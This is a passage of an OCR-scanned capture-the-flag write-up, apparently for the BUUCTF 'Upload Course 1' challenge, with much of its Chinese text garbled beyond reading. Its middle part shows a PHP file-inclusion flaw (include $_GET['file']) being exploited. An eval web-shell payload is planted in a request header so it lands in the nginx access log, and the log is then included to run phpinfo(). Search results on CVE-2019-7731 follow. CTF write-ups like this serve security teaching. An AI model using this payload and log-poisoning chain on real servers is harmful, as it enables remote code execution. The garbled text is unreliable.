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BUU UPLOAD COURSE 1

o MIERHBLE, A file %%, #E[a upload.php.

Joj.cn.wetolink.com:82/index.php?file=upload.p.. &%* @® QO @& |

X EEF] /uploads
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o FENNEREFRINNXGRAMEY, BERE =N
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< C O F%2 | 0908842a-e3cd-deba-9e9d-43d439b766f4.node2.buuoj.cn.wetolink.com:82/index.php?file=uploadp.. % @& O @ @ ¢ 4 @

X ERETZ1E: uploads/5d9d30c672663.jpg

Xt E£EE ./uploads
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I & - C O FLE | 2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82

{ highlight file(_ FILE );

if(isset($_GET[ 'file'])) {
$str = § GET[ 'file'];

include § GET[ 'file'];
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e [?file=/var/log/nginx/access.log

& > C | ® ARL | view-source:2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82/?file=/varflogy ¥+ @& O @ . ) A @ @ @1 * V 6 & = @ @ H
<code><span style="color: #000000">

<span style="color: #0000BB">&lt; ?php<br /></span><span style="color: #FF8000">/**<br />&nbsp;*&nbsp;Created&nbsp;by&nbsp;PhpStorm.<br />&nbsp;*&nbsp;User:&nbsp;jinzhao<br

/>&nbsp; *&nbsp;Date: &nbsp;2019/7/9<br />&nbsp;*&nbsp;Time:&nbsp;7:07&nbsp;AM<br />&nbsp;*/<br /><br /></span><span style="color: #0000BB">highlight_ file</span><span style="color:
#007700">(</span><span style="color: #0000BB">_ FILE__</span><span style="color: #007700">);<br /><br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color:
#007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">]))&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$str&nbsp;</span><span
style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color:
#007700">];<br /><br />&nbsp;é&nbsp;&nbsp;&nbsp;include&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span>
<span style="color: #007700">];<br />}<br /></span>

</span>

</code>172.2.0.5 - - [09/0ct/2019:01:33:48
Safari/537.36"

172.2.0.5 - - [09/0ct/2019:01:33:48 +0000] "GET /favicon.ico HTTP/1.1" 200 1198 "http://2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82/" "Mozilla/5.0 (Macintosh;
Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36"

172.2.0.5 - - [09/0ct/2019:01:35:07 +0000] "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1675 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15 0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/77.0.3865.90 Safari/537.36"

+0000] "GET / HTTP/1.1" 200 1198 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90
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http://2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82/

v http://2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82/

Headers (1)
VALUE

<?php eval($_GET[glzjin]); 7>
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. ERESAEHME glzin S¥ENT] RCE.

o [?file=/var/log/nginx/access.log&glzjin=phpinfo();

& > C O FR=2 | 2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82/?file=/var/log/nginx... Lo ¥ @& O @ ’ ? 4a ® © &

<?php

highlight_file(__FILE_ );

if(isset($_GET['file'])) {
$str = $_GET['file'];

include $_GET['file'];
}
172.2.0.5 — - [09/0ct/2019:01:33:48 +0000] "GET / HTTP/1.1" 200 1198 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90

Safari/537.36" 172.2.0.5 — — [09/0ct/2019:01:33:48 +0000] "GET /favicon.ico HTTP/1.1" 200 1198 "http://2942b47d-b029-487a-8dd1-3d7b5b1208c4.node2.buuoj.cn.wetolink.com:82/" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 172.2.0.5 — — [09/0ct/2019:01:35:07 +0000] "GET /?

[09/0ct/201 "GET /?file=/var/log/nginx/access.log HTTP/1.1" 200 1902 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.90 Safari/537.36" 172.2.0.5 — — [09/0ct/2019:01:37:47 +0000] "GET / HTTP/1.1" 200 1198 "
Warning: Use of undefined constant glzjin — assumed 'glzjin' (this will throw an Error in a future version of PHP) in /var/log/nginx/access.log on line 5

PHP Version 7.3.5

System Linux 7071c90863cd 4.15. i buntu SMP Tue Jun 4 2! 2019 x86_64

Build Date

Configure Command * /configure' '~—build=x86_64-linux-musl' '~—with-config—file—path=/usr/local/etc/php' ‘~-with-config-file—
scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '~-with-mhash' nable—ftp'
enable-mbstrin ith-password-argon2' th—sodium=shared' ith—curl
with-libedit' " " i i nable-fpm' '~-with-fpm-user=www-data' '--with-fpm-
group=www-data' '--disable-cgi' 'build_alias=x86_64-linux-musl*

/usr/local/etc/php/conf.d
/usr/local/etc/php/conf.d/docker—php-ext-sodium.ini

Zend Extension 320180731
Zend Extension Build API320180731,NTS

. PHP Extension Build API20180731,NTS
_—
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RATLEUNIE, EXLUAZXHEE, BRERER, 21T, EXE—EDZET.

https://www.zhaoj.in/read-5479.html|
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e https://nvd.nist.gov/vuln/detail/CVE-2019-7731

mywebsql 7@

286 T E i A -7

4 157,000 IRIESER (0.29 )

CVE-2019-7731 MyWebSQL ZZF & E-mEIEHR * IwEiFE - LFFE ...

https://www.anquanke.com/vul/id/1480818 ¥ 8 EEHEE
20192 H11H - MyWebSQL Z2iREAMyWebSQLZSamnan ur Rehmani{4F & & H—REFWeb
BIMySQLEUEEEIBZE iR - MyWebSQL 3.7HRASHTETE ...

MyWebSQLZ ZiFilE- ZEAS- MMNBERIARDBRAE]
www.dptech.com/index.php?m=content&c=index&a=show&catid=75&id...

R R INAT(E . 2019-02-11. J@E4RS : . CVE-2019-7731. fERQELR : . BfE. SN : .
MyWebSQL 3.7. i@t : . MyWebSQLE— 1" RAPHPESHEN ...
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